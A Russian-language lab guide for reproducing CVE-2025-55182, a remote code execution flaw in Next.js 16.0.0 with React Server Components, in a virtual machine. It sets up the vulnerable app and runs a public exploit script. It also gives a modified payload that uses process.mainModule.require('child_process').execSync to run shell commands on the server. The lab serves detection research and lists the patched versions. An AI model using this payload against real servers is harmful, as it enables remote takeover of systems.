
Воспроизводимая лабораторная работа, демонстрирующая CVE-2025-55182 удаленное выполнение кода против Next.js 16.0.0 с React Server Components, включая выполнение внешнего эксплойта и проверку побочных эффектов.
Этот документ предоставляет полную и воспроизводимую настройку для демонстрации удаленного выполнения кода (RCE) CVE-2025-55182 против уязвимой среды Next.js + React Server Components, работающей внутри виртуальной машины Multipass Ubuntu.
Эксплойт выполняется извне ВМ, что доказывает удаленную эксплуатацию и подготавливает среду для обнаружения аномального поведения.
Source: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Проверка:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonОтредактируйте зависимости:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Переустановите пакеты:
rm -rf node_modules package-lock.json
npm install
Проверка:
npm list react react-dom next
Ожидаемый результат:
npm run build
npm start
Ожидаемый вывод:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

На другой машине:
curl http://10.102.169.126:3000
Вы должны получить стандартную HTML-страницу Next.js.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Найдите:
hostname: 'localhost',
Замените на:
hostname: '10.X.X.X',
При работающем Next:
node test-simple.cjs
Ожидаемый результат в терминале Next.js:
NON-CHUNKED-RCE
Это подтверждает удаленное выполнение кода через React Flight с использованием уязвимых версий.

Цель — создать наблюдаемое поведение (файловая система + выполнение процесса).
_prefix внутри test-simple.cjsНайдите:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Замените на:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Примечание: require недоступен в контексте выполнения, но process.mainModule.require() доступен.
Убедитесь, что Next запущен, затем:
node test-simple.cjs
Проверьте создание файла:
ls -l /tmp/
Вы должны увидеть:
cve-2025-55182-syscall
Это подтверждает функциональное RCE с побочными эффектами.

Исправление:
React ≥ 19.2.1
Next.js ≥ 16.0.7